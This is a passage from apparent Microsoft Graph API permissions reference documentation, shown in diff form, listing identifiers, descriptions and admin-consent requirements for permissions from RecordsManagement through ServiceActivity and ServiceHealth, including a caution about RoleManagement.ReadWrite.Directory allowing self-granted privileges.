+f73fa04f-b9a5-4df9-8843-993ce928925e |
+
+
+| DisplayText |
+Read all Question and Answers |
+Read all Questions and Answers that the user can access. |
+
+
+| Description |
+Allows an app to read all question and answers, without a signed-in user. |
+Allows an app to read all question and answer sets that the signed-in user can access. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+RecordsManagement.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ac3a2b8e-03a3-4da9-9ce0-cbe28bf1accd |
+07f995eb-fc67-4522-ad66-2b8ca8ea3efd |
+
+
+| DisplayText |
+Read Records Management configuration, labels and policies |
+Read Records Management configuration, labels, and policies |
+
+
+| Description |
+Allows the application to read any data from Records Management, such as configuration, labels, and policies without the signed in user. |
+Allows the application to read any data from Records Management, such as configuration, labels, and policies on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RecordsManagement.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+eb158f57-df43-4751-8b21-b8932adb3d34 |
+f2833d75-a4e6-40ab-86d4-6dfe73c97605 |
+
+
+| DisplayText |
+Read and write Records Management configuration, labels and policies |
+Read and write Records Management configuration, labels, and policies |
+
+
+| Description |
+Allow the application to create, update and delete any data from Records Management, such as configuration, labels, and policies without the signed in user. |
+Allow the application to create, update and delete any data from Records Management, such as configuration, labels, and policies on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Reports.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+230c1aed-a721-4c5d-9cb4-a90514e508ef |
+02e97553-ed7b-43d0-ab3c-f8bace0d040c |
+
+
+| DisplayText |
+Read all usage reports |
+Read all usage reports |
+
+
+| Description |
+Allows an app to read all service usage reports without a signed-in user. Services that provide usage reports include Office 365 and Azure Active Directory. |
+Allows an app to read all service usage reports on behalf of the signed-in user. Services that provide usage reports include Office 365 and Azure Active Directory. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ReportSettings.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ee353f83-55ef-4b78-82da-555bfa2b4b95 |
+84fac5f4-33a9-4100-aa38-a20c6d29e5e7 |
+
+
+| DisplayText |
+Read all admin report settings |
+Read admin report settings |
+
+
+| Description |
+Allows the app to read all admin report settings, such as whether to display concealed information in reports, without a signed-in user. |
+Allows the app to read admin report settings, such as whether to display concealed information in reports, on behalf of the signed-in user |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ReportSettings.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+2a60023f-3219-47ad-baa4-40e17cd02a1d |
+b955410e-7715-4a88-a940-dfd551018df3 |
+
+
+| DisplayText |
+Read and write all admin report settings |
+Read and write admin report settings |
+
+
+| Description |
+Allows the app to read and update all admin report settings, such as whether to display concealed information in reports, without a signed-in user. |
+Allows the app to read and update admin report settings, such as whether to display concealed information in reports, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ResourceSpecificPermissionGrant.ReadForUser
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+f1d91a8f-88e7-4774-8401-b668d5bca0c5 |
+
+
+| DisplayText |
+- |
+Read resource specific permissions granted on a user account |
+
+
+| Description |
+- |
+Allows the app to read the resource specific permissions granted on a user account, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+ResourceSpecificPermissionGrant.ReadForUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+acfca4d5-f49f-40ed-9648-84068b474c73 |
+- |
+
+
+| DisplayText |
+Read all resource specific permissions granted on user accounts |
+- |
+
+
+| Description |
+Allows the app to read all resource specific permissions granted on user accounts, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+RoleAssignmentSchedule.Read.Directory
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+d5fe8ce8-684c-4c83-a52c-46e882ce4be1 |
+344a729c-0285-42c6-9014-f12b9b8d6129 |
+
+
+| DisplayText |
+Read all active role assignments and role schedules for your company's directory |
+Read all active role assignments for your company's directory |
+
+
+| Description |
+Allows the app to read the active role-based access control (RBAC) assignments and schedules for your company's directory, without a signed-in user. This includes reading directory role templates, and directory roles. |
+Allows the app to read the active role-based access control (RBAC) assignments for your company's directory, on behalf of the signed-in user. This includes reading directory role templates, and directory roles. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleAssignmentSchedule.ReadWrite.Directory
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+dd199f4a-f148-40a4-a2ec-f0069cc799ec |
+8c026be3-8e26-4774-9372-8d5d6f21daff |
+
+
+| DisplayText |
+Read, update, and delete all policies for privileged role assignments of your company's directory |
+Read, update, and delete all active role assignments for your company's directory |
+
+
+| Description |
+Allows the app to read, update, and delete policies for privileged role-based access control (RBAC) assignments of your company's directory, without a signed-in user. |
+Allows the app to read and manage the active role-based access control (RBAC) assignments for your company's directory, on behalf of the signed-in user. This includes managing active directory role membership, and reading directory role templates, directory roles and active memberships. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleEligibilitySchedule.Read.Directory
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ff278e11-4a33-4d0c-83d2-d01dc58929a5 |
+eb0788c2-6d4e-4658-8c9e-c0fb8053f03d |
+
+
+| DisplayText |
+Read all eligible role assignments and role schedules for your company's directory |
+Read all eligible role assignments for your company's directory |
+
+
+| Description |
+Allows the app to read the eligible role-based access control (RBAC) assignments and schedules for your company's directory, without a signed-in user. This includes reading directory role templates, and directory roles. |
+Allows the app to read the eligible role-based access control (RBAC) assignments for your company's directory, on behalf of the signed-in user. This includes reading directory role templates, and directory roles. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleEligibilitySchedule.ReadWrite.Directory
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+fee28b28-e1f3-4841-818e-2704dc62245f |
+62ade113-f8e0-4bf9-a6ba-5acb31db32fd |
+
+
+| DisplayText |
+Read, update, and delete all eligible role assignments and schedules for your company's directory |
+Read, update, and delete all eligible role assignments for your company's directory |
+
+
+| Description |
+Allows the app to read and manage the eligible role-based access control (RBAC) assignments and schedules for your company's directory, without a signed-in user. This includes managing eligible directory role membership, and reading directory role templates, directory roles and eligible memberships. |
+Allows the app to read and manage the eligible role-based access control (RBAC) assignments for your company's directory, on behalf of the signed-in user. This includes managing eligible directory role membership, and reading directory role templates, directory roles and eligible memberships. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleManagement.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c7fbd983-d9aa-4fa7-84b8-17382c103bc4 |
+48fec646-b2ba-4019-8681-8eb31435aded |
+
+
+| DisplayText |
+Read role management data for all RBAC providers |
+Read role management data for all RBAC providers |
+
+
+| Description |
+Allows the app to read role-based access control (RBAC) settings for all RBAC providers without a signed-in user. This includes reading role definitions and role assignments. |
+Allows the app to read the role-based access control (RBAC) settings for all RBAC providers, on behalf of the signed-in user. This includes reading role definitions and role assignments. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleManagement.Read.CloudPC
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+031a549a-bb80-49b6-8032-2068448c6a3c |
+9619b88a-8a25-48a7-9571-d23be0337a79 |
+
+
+| DisplayText |
+Read Cloud PC RBAC settings |
+Read Cloud PC RBAC settings |
+
+
+| Description |
+Allows the app to read the Cloud PC role-based access control (RBAC) settings, without a signed-in user. |
+Allows the app to read the Cloud PC role-based access control (RBAC) settings, on behalf of the signed-in user. This includes reading Cloud PC role definitions and role assignments. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleManagement.Read.Directory
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+483bed4a-2ad3-4361-a73b-c83ccdbdc53c |
+741c54c3-0c1e-44a1-818b-3f97ab4e8c83 |
+
+
+| DisplayText |
+Read all directory RBAC settings |
+Read directory RBAC settings |
+
+
+| Description |
+Allows the app to read the role-based access control (RBAC) settings for your company's directory, without a signed-in user. This includes reading directory role templates, directory roles and memberships. |
+Allows the app to read the role-based access control (RBAC) settings for your company's directory, on behalf of the signed-in user. This includes reading directory role templates, directory roles and memberships. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleManagement.Read.Exchange
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c769435f-f061-4d0b-8ff1-3d39870e5f85 |
+3bc15058-7858-4141-b24f-ae43b4e80b52 |
+
+
+| DisplayText |
+Read Exchange Online RBAC configuration |
+Read Exchange Online RBAC configuration |
+
+
+| Description |
+Allows the app to read the role-based access control (RBAC) configuration for your organization's Exchange Online service, without a signed-in user. This includes reading Exchange management role definitions, role groups, role group membership, role assignments, management scopes, and role assignment policies. |
+Allows the app to read the role-based access control (RBAC) settings for your organization's Exchange Online service, on behalf of the signed-in user. This includes reading Exchange management role definitions, role groups, role group membership, role assignments, management scopes, and role assignment policies. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleManagement.ReadWrite.CloudPC
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+274d0592-d1b6-44bd-af1d-26d259bcb43a |
+501d06f8-07b8-4f18-b5c6-c191a4af7a82 |
+
+
+| DisplayText |
+Read and write all Cloud PC RBAC settings |
+Read and write Cloud PC RBAC settings |
+
+
+| Description |
+Allows the app to read and manage the Cloud PC role-based access control (RBAC) settings, without a signed-in user. This includes reading and managing Cloud PC role definitions and memberships. |
+Allows the app to read and manage the Cloud PC role-based access control (RBAC) settings, on behalf of the signed-in user. This includes reading and managing Cloud PC role definitions and role assignments. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleManagement.ReadWrite.Directory
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 |
+d01b97e9-cbc0-49fe-810a-750afd5527a3 |
+
+
+| DisplayText |
+Read and write all directory RBAC settings |
+Read and write directory RBAC settings |
+
+
+| Description |
+Allows the app to read and manage the role-based access control (RBAC) settings for your company's directory, without a signed-in user. This includes instantiating directory roles and managing directory role membership, and reading directory role templates, directory roles and memberships. |
+Allows the app to read and manage the role-based access control (RBAC) settings for your company's directory, on behalf of the signed-in user. This includes instantiating directory roles and managing directory role membership, and reading directory role templates, directory roles and memberships. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Permissions that allow granting authorization, such as RoleManagement.ReadWrite.Directory, allow an application to grant additional privileges to itself, other applications, or any user. Use caution when granting any of these permissions.
+With the RoleManagement.ReadWrite.Directory permission an application can read and write /directoryRoles and /roleManagement/directory/*. This includes adding and removing members to and from Microsoft Entra roles, and working with PIM for Microsoft Entra roles APIs.
+
+RoleManagement.ReadWrite.Exchange
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+025d3225-3f02-4882-b4c0-cd5b541a4e80 |
+c1499fe0-52b1-4b22-bed2-7a244e0e879f |
+
+
+| DisplayText |
+Read and write Exchange Online RBAC configuration |
+Read and write Exchange Online RBAC configuration |
+
+
+| Description |
+Allows the app to read and manage the role-based access control (RBAC) settings for your organization's Exchange Online service, without a signed-in user. This includes reading, creating, updating, and deleting Exchange management role definitions, role groups, role group membership, role assignments, management scopes, and role assignment policies. |
+Allows the app to read and manage the role-based access control (RBAC) settings for your organization's Exchange Online service, on behalf of the signed-in user. This includes reading, creating, updating, and deleting Exchange management role definitions, role groups, role group membership, role assignments, management scopes, and role assignment policies. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleManagementAlert.Read.Directory
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ef31918f-2d50-4755-8943-b8638c0a077e |
+cce71173-f76d-446e-97ff-efb2d82e11b1 |
+
+
+| DisplayText |
+Read all alert data for your company's directory |
+Read all alert data for your company's directory |
+
+
+| Description |
+Allows the app to read all role-based access control (RBAC) alerts for your company's directory, without a signed-in user. This includes reading alert statuses, alert definitions, alert configurations and incidents that lead to an alert. |
+Allows the app to read the role-based access control (RBAC) alerts for your company's directory, on behalf of the signed-in user. This includes reading alert statuses, alert definitions, alert configurations and incidents that lead to an alert. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleManagementAlert.ReadWrite.Directory
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+11059518-d6a6-4851-98ed-509268489c4a |
+435644c6-a5b1-40bf-8f52-fe8e5b53e19c |
+
+
+| DisplayText |
+Read all alert data, configure alerts, and take actions on all alerts for your company's directory |
+Read all alert data, configure alerts, and take actions on all alerts for your company's directory |
+
+
+| Description |
+Allows the app to read and manage all role-based access control (RBAC) alerts for your company's directory, without a signed-in user. This includes managing alert settings, initiating alert scans, dismissing alerts, remediating alert incidents, and reading alert statuses, alert definitions, alert configurations and incidents that lead to an alert. |
+Allows the app to read and manage the role-based access control (RBAC) alerts for your company's directory, on behalf of the signed-in user. This includes managing alert settings, initiating alert scans, dismissing alerts, remediating alert incidents, and reading alert statuses, alert definitions, alert configurations and incidents that lead to an alert. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleManagementPolicy.Read.AzureADGroup
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+69e67828-780e-47fd-b28c-7b27d14864e6 |
+7e26fdff-9cb1-4e56-bede-211fe0e420e8 |
+
+
+| DisplayText |
+Read all policies in PIM for Groups |
+Read all policies in PIM for Groups |
+
+
+| Description |
+Allows the app to read policies in Privileged Identity Management for Groups, without a signed-in user. |
+Allows the app to read policies in Privileged Identity Management for Groups, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleManagementPolicy.Read.Directory
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+fdc4c997-9942-4479-bfcb-75a36d1138df |
+3de2cdbe-0ff5-47d5-bdee-7f45b4749ead |
+
+
+| DisplayText |
+Read all policies for privileged role assignments of your company's directory |
+Read all policies for privileged role assignments of your company's directory |
+
+
+| Description |
+Allows the app to read policies for privileged role-based access control (RBAC) assignments of your company's directory, without a signed-in user. |
+Allows the app to read policies for privileged role-based access control (RBAC) assignments of your company's directory, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleManagementPolicy.ReadWrite.AzureADGroup
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b38dcc4d-a239-4ed6-aa84-6c65b284f97c |
+0da165c7-3f15-4236-b733-c0b0f6abe41d |
+
+
+| DisplayText |
+Read, update, and delete all policies in PIM for Groups |
+Read, update, and delete all policies in PIM for Groups |
+
+
+| Description |
+Allows the app to read, update, and delete policies in Privileged Identity Management for Groups, without a signed-in user. |
+Allows the app to read, update, and delete policies in Privileged Identity Management for Groups, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+RoleManagementPolicy.ReadWrite.Directory
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+31e08e0a-d3f7-4ca2-ac39-7343fb83e8ad |
+1ff1be21-34eb-448c-9ac9-ce1f506b2a68 |
+
+
+| DisplayText |
+Read, update, and delete all policies for privileged role assignments of your company's directory |
+Read, update, and delete all policies for privileged role assignments of your company's directory |
+
+
+| Description |
+Allows the app to read, update, and delete policies for privileged role-based access control (RBAC) assignments of your company's directory, without a signed-in user. |
+Allows the app to read, update, and delete policies for privileged role-based access control (RBAC) assignments of your company's directory, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Schedule.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7b2ebf90-d836-437f-b90d-7b62722c4456 |
+fccf6dd8-5706-49fa-811f-69e2e1b585d0 |
+
+
+| DisplayText |
+Read all schedule items |
+Read user schedule items |
+
+
+| Description |
+Allows the app to read all schedules, schedule groups, shifts and associated entities in the Teams or Shifts application without a signed-in user. |
+Allows the app to read schedule, schedule groups, shifts and associated entities in the Teams or Shifts application on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Schedule.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b7760610-0545-4e8a-9ec3-cce9e63db01c |
+63f27281-c9d9-4f29-94dd-6942f7f1feb0 |
+
+
+| DisplayText |
+Read and write all schedule items |
+Read and write user schedule items |
+
+
+| Description |
+Allows the app to manage all schedules, schedule groups, shifts and associated entities in the Teams or Shifts application without a signed-in user. |
+Allows the app to manage schedule, schedule groups, shifts and associated entities in the Teams or Shifts application on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SchedulePermissions.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7239b71d-b402-4150-b13d-78ecfe8df441 |
+07919803-6073-4cd8-bc55-28077db0ee10 |
+
+
+| DisplayText |
+Read/Write schedule permissions for a role |
+Read/Write schedule permissions for a role. |
+
+
+| Description |
+Allows the app to read/write schedule permissions for a specific role in Shifts application without a signed-in user. |
+Allows the app to read/write schedule permissions for a specific role in Shifts application on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Schedule-WorkingTime.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0b21c159-dbf4-4dbb-a6f6-490e412c716e |
+- |
+
+
+| DisplayText |
+Trigger working time policies and read the working time status |
+- |
+
+
+| Description |
+Allows the app to trigger the working time policies and read the working time status for other users in your organization, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+SearchConfiguration.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ada977a5-b8b1-493b-9a91-66c206d76ecf |
+7d307522-aa38-4cd0-bd60-90c6f0ac50bd |
+
+
+| DisplayText |
+Read your organization's search configuration |
+Read your organization's search configuration |
+
+
+| Description |
+Allows the app to read search configurations, without a signed-in user. |
+Allows the app to read search configuration, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SearchConfiguration.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0e778b85-fefa-466d-9eec-750569d92122 |
+b1a7d408-cab0-47d2-a2a5-a74a3733600d |
+
+
+| DisplayText |
+Read and write your organization's search configuration |
+Read and write your organization's search configuration |
+
+
+| Description |
+Allows the app to read and write search configurations, without a signed-in user. |
+Allows the app to read and write search configuration, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityActions.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5e0edab9-c148-49d0-b423-ac253e121825 |
+1638cddf-07a4-4de2-8645-69c96cacad73 |
+
+
+| DisplayText |
+Read your organization's security actions |
+Read your organization's security actions |
+
+
+| Description |
+Allows the app to read security actions, without a signed-in user. |
+Allows the app to read security actions, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityActions.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f2bf083f-0179-402a-bedb-b2784de8a49b |
+dc38509c-b87d-4da0-bd92-6bec988bac4a |
+
+
+| DisplayText |
+Read and update your organization's security actions |
+Read and update your organization's security actions |
+
+
+| Description |
+Allows the app to read or update security actions, without a signed-in user. |
+Allows the app to read or update security actions, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityAlert.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+472e4a4d-bb4a-4026-98d1-0b0d74cb74a5 |
+bc257fb8-46b4-4b15-8713-01e91bfbe4ea |
+
+
+| DisplayText |
+Read all security alerts |
+Read all security alerts |
+
+
+| Description |
+Allows the app to read all security alerts, without a signed-in user. |
+Allows the app to read all security alerts, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityAlert.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ed4fca05-be46-441f-9803-1873825f8fdb |
+471f2a7f-2a42-4d45-a2bf-594d0838070d |
+
+
+| DisplayText |
+Read and write to all security alerts |
+Read and write to all security alerts |
+
+
+| Description |
+Allows the app to read and write to all security alerts, without a signed-in user. |
+Allows the app to read and write to all security alerts, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityAnalyzedMessage.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b48f7ac2-044d-4281-b02f-75db744d6f5f |
+53e6783e-b127-4a35-ab3a-6a52d80a9077 |
+
+
+| DisplayText |
+Read metadata and detection details for all emails in your organization |
+Read metadata and detection details for emails in your organization |
+
+
+| Description |
+Read email metadata and security detection details, without a signed-in user. |
+Read email metadata and security detection details on behalf of the signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityAnalyzedMessage.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+04c55753-2244-4c25-87fc-704ab82a4f69 |
+48eb8c83-6e58-46e7-a6d3-8805822f5940 |
+
+
+| DisplayText |
+Read metadata, detection details, and execute remediation actions on all emails in your organization |
+Read metadata, detection details, and execute remediation actions on emails in your organization |
+
+
+| Description |
+Read email metadata and security detection details, and execute remediation actions like deleting an email, without a signed-in user. |
+Read email metadata, security detection details, and execute remediation actions like deleting an email, on behalf of the signed in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityEvents.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+bf394140-e372-4bf9-a898-299cfc7564e5 |
+64733abd-851e-478a-bffb-e47a14b18235 |
+
+
+| DisplayText |
+Read your organization's security events |
+Read your organization's security events |
+
+
+| Description |
+Allows the app to read your organization's security events without a signed-in user. |
+Allows the app to read your organization's security events on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityEvents.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+d903a879-88e0-4c09-b0c9-82f6a1333f84 |
+6aedf524-7e1c-45a7-bd76-ded8cab8d0fc |
+
+
+| DisplayText |
+Read and update your organization's security events |
+Read and update your organization's security events |
+
+
+| Description |
+Allows the app to read your organization's security events without a signed-in user. Also allows the app to update editable properties in security events. |
+Allows the app to read your organization's security events on behalf of the signed-in user. Also allows the app to update editable properties in security events on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityIdentitiesHealth.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f8dcd971-5d83-4e1e-aa95-ef44611ad351 |
+a0d0da43-a6df-4416-b63d-99c79991aae8 |
+
+
+| DisplayText |
+Read all identity security health issues |
+Read identity security health issues |
+
+
+| Description |
+Allows the app to read all the identity security health issues without a signed-in user. |
+Allows the app to read all the identity security health issues of signed user |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityIdentitiesHealth.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ab03ddd5-7ae4-4f2e-8af8-86654f7e0a27 |
+53e51eec-2d9b-4990-97f3-c9aa5d5652c3 |
+
+
+| DisplayText |
+Read and write all identity security health issues |
+Read and write identity security health issues |
+
+
+| Description |
+Allows the app to read and write identity security health issues without a signed-in user. |
+Allows the app to read and write identity security health issues on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityIdentitiesSensors.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5f0ffea2-f474-4cf2-9834-61cda2bcea5c |
+2c221239-7c5c-4b30-9355-d84663bfcd96 |
+
+
+| DisplayText |
+Read all identity security sensors |
+Read identity security sensors |
+
+
+| Description |
+Allows the app to read all the identity security sensors without a signed-in user. |
+Allows the app to read all the identity security sensors of signed user |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityIdentitiesSensors.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+d4dcee6d-0774-412a-b06c-aeabbd99e816 |
+087c3ad9-c2ca-4b82-9885-d5e25ce9e183 |
+
+
+| DisplayText |
+Read and write all identity security sensors |
+Read and write identity security sensors |
+
+
+| Description |
+Allows the app to read and write identity security sensors without a signed-in user. |
+Allows the app to read and write identity security sensors on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityIncident.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+45cc0394-e837-488b-a098-1918f48d186c |
+b9abcc4f-94fc-4457-9141-d20ce80ec952 |
+
+
+| DisplayText |
+Read all security incidents |
+Read incidents |
+
+
+| Description |
+Allows the app to read all security incidents, without a signed-in user. |
+Allows the app to read security incidents, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SecurityIncident.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+34bf0e97-1971-4929-b999-9e2442d941d7 |
+128ca929-1a19-45e6-a3b8-435ec44a36ba |
+
+
+| DisplayText |
+Read and write to all security incidents |
+Read and write to incidents |
+
+
+| Description |
+Allows the app to read and write to all security incidents, without a signed-in user. |
+Allows the app to read and write security incidents, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ServiceActivity-Exchange.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+2b655018-450a-4845-81e7-d603b1ebffdb |
+1fe7aa48-9373-4a47-8df3-168335e0f4c9 |
+
+
+| DisplayText |
+Read all Exchange service activity |
+Read all Exchange service activity |
+
+
+| Description |
+Allows the app to read all Exchange service activity, without a signed-in user. |
+Allows the app to read all Exchange service activity, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ServiceActivity-Microsoft365Web.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c766cb16-acc4-4663-ba09-6eedef5876c5 |
+d74c75b1-d5a9-479d-902d-92f8f99182c1 |
+
+
+| DisplayText |
+Read all Microsoft 365 Web service activity |
+Read all Microsoft 365 Web service activity |
+
+
+| Description |
+Allows the app to read all Microsoft 365 Web service activity, without a signed-in user. |
+Allows the app to read all Microsoft 365 Web service activity, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ServiceActivity-OneDrive.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+57b4f899-b8c5-47c7-bdd3-c410c55602b7 |
+347e3c16-30f3-4ac7-9b52-fc3c053de9c9 |
+
+
+| DisplayText |
+Read all One Drive service activity |
+Read all One Drive service activity |
+
+
+| Description |
+Allows the app to read all One Drive service activity, without a signed-in user. |
+Allows the app to read all One Drive service activity, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ServiceActivity-Teams.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+4dfee10b-fa4a-41b5-b34d-ccf54cc0c394 |
+404d76f0-e10e-460a-92be-ef19600c54d1 |
+
+
+| DisplayText |
+Read all Teams service activity |
+Read all Teams service activity |
+
+
+| Description |
+Allows the app to read all Teams service activity, without a signed-in user. |
+Allows the app to read all Teams service activity, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ServiceHealth.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+79c261e0-fe76-4144-aad5-bdc68fbe4037 |
+55896846-df78-47a7-aa94-8d3d4442ca7f |
+
+
+| DisplayText |
+Read service health |
+Read service health |
+
+
+| Description |
+Allows the app to read your tenant's service health information, without a signed-in user. Health information may include service issues or service health overviews. |
+Allows the app to read your tenant's service health information on behalf of the signed-in user. Health information may include service issues or service health overviews. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
The ServiceHealth.Read.All delegated permission is available for consent in personal Microsoft accounts.
+
+ServiceMessage.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
